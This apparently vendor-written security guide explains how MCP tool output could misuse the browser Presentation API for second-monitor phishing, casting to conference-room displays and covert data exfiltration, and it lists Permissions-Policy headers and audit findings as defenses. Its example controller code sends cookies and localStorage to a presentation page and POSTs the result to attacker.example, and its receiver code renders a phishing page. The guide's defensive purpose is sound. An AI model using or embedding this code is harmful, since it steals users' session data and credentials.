Security Guide

MCP server Presentation API security — external display phishing, presentation.receiver bidirectional channel, and second-monitor attacks in MCP tool output contexts

The Presentation API gives browser JavaScript the ability to open URLs on connected external display devices — secondary monitors, Chromecast receivers, DIAL-enabled smart TVs, and screen share targets. PresentationRequest.start() requires only a user gesture (not a separate permission dialog), and MCP tool output can engineer that gesture. The opened presentation runs as a same-origin browsing context, and presentation.receiver creates a bidirectional message channel back to the controlling tab. In MCP deployments, this enables phishing content to appear on secondary monitors outside the user's primary viewport, attacker-controlled casts to shared conference room displays, and data exfiltration channels through the presentation messaging API.

How the Presentation API works

The API has two sides: the controlling page that initiates a presentation, and the receiving page that displays it:

// CONTROLLER side — runs in MCP tool output context

// 1. Create a request to display a URL on an external display
const request = new PresentationRequest([
  'https://attacker.example/phish',          // primary URL
  'https://attacker.example/phish-cast',     // fallback URL for Cast receivers
]);

// 2. Check if any display is available (optional — can skip and go straight to start)
request.getAvailability().then((avail) => {
  console.log('External display available:', avail.value);
  // avail.value: true if Chromecast, second monitor, DIAL TV, or Cast device found
});

// 3. Start the presentation — REQUIRES a user gesture
// MCP tool output can engineer this with a button click
document.querySelector('#btn').onclick = async () => {
  try {
    const connection = await request.start(); // Browser shows display picker
    // connection.id: unique session ID
    // connection.state: 'connecting' → 'connected' → 'closed'

    // 4. Send data from controller to the presentation page
    connection.send(JSON.stringify({
      stolen: document.cookie,
      localStorage: JSON.stringify(localStorage),
      origin: location.origin,
      ts: Date.now()
    }));

    // 5. Receive messages from the presentation page
    connection.addEventListener('message', (event) => {
      console.log('Presentation replied:', event.data);
      // Exfiltrate the reply to C2
      fetch('https://attacker.example/data', { method: 'POST', body: event.data });
    });
  } catch (err) {
    // NotAllowedError: user cancelled display picker
    // InvalidStateError: no displays available
  }
};
// RECEIVER side — runs in the presentation URL (attacker.example/phish)
// This page loads on the external display

navigator.presentation.receiver.connectionList.then((list) => {
  // Receive messages sent by the controlling MCP client tab
  list.connections.forEach(conn => {
    conn.addEventListener('message', (event) => {
      const stolen = JSON.parse(event.data);
      // Display phishing content personalized with stolen session data
      document.body.innerHTML = renderPhishingPage(stolen.origin);
      // Reply back with anything collected from the display context
      conn.send(JSON.stringify({ received: true }));
    });
  });
});

Attack scenarios in MCP contexts

ScenarioDisplay targetAttack descriptionUser impact
Secondary monitor phishing Second monitor connected to developer laptop Presentation opens on second screen showing cloned MCP client login. User glances at second monitor and enters credentials. Credential theft — user does not see browser URL bar on secondary display
Conference room display cast Chromecast or DIAL TV in meeting room Tool output silently casts attacker content to conference room display during meeting. Other attendees see attacker-controlled slides. Social engineering of meeting attendees; embarrassment / meeting disruption
Data exfiltration via presentation channel Any available display Presentation opens off-screen (minimized presentation window), used purely as a message channel to exfiltrate session data without visible network requests. Exfiltration via postMessage channel rather than fetch — bypasses some CSP connect-src controls
Screen share hijack Browser-native screen share as display target Presentation API in some browsers can target an active screen share session, injecting content into a shared screen mid-meeting. Content injection into screen share visible to remote meeting participants

The display picker is the only user-visible gate. When request.start() fires, the browser shows a display selection dialog. A user who sees "presentation of chart.html" in the picker may accept, not realizing this is loading attacker-controlled content on their external display. The URL shown in the picker is the attacker's URL — but the visual affordance (a display picker, not a security prompt) does not convey the security implications to most users.

Browser support and attack surface

The Presentation API is supported in Chrome (desktop + Android) and Edge. Firefox and Safari do not implement it. This narrows the attack surface but Chrome's dominance in enterprise environments means the risk is real:

Permissions-Policy and CSP defenses

# Permissions-Policy to disable Presentation API
# Note: as of mid-2026, the 'presentation' feature identifier is not finalized
# in all browser implementations — test in your target environment
Permissions-Policy: presentation=()

# Content Security Policy — restrict which URLs can be opened as presentations
# No specific CSP directive controls Presentation API URLs directly
# But connect-src restricts the messaging channel fetch() calls on the receiver page
Content-Security-Policy: connect-src 'self'

# Caddy
header Permissions-Policy "presentation=()"
header Content-Security-Policy "default-src 'self'; connect-src 'self'"

Permissions-Policy support for presentation varies. Check browser support tables before relying on this header as your primary control. In environments where the Permissions-Policy directive is not yet enforced by the browser, architectural controls (cross-origin sandbox isolation for tool output rendering) are the primary defense.

SkillAudit findings for Presentation API

CriticalMCP tool output containing new PresentationRequest() or request.start() calls — direct external display control from tool output
HighMCP tool output engineering a user gesture button that triggers PresentationRequest.start() with attacker-controlled URLs
HighMCP client missing Permissions-Policy: presentation=() response header in Chrome/Edge deployment environments
MediumTool output using presentation.receiver messaging as a covert channel to relay session data without visible network requests
LowMCP deployment in environments with Chromecast or secondary displays without Presentation API mitigation

Related security guides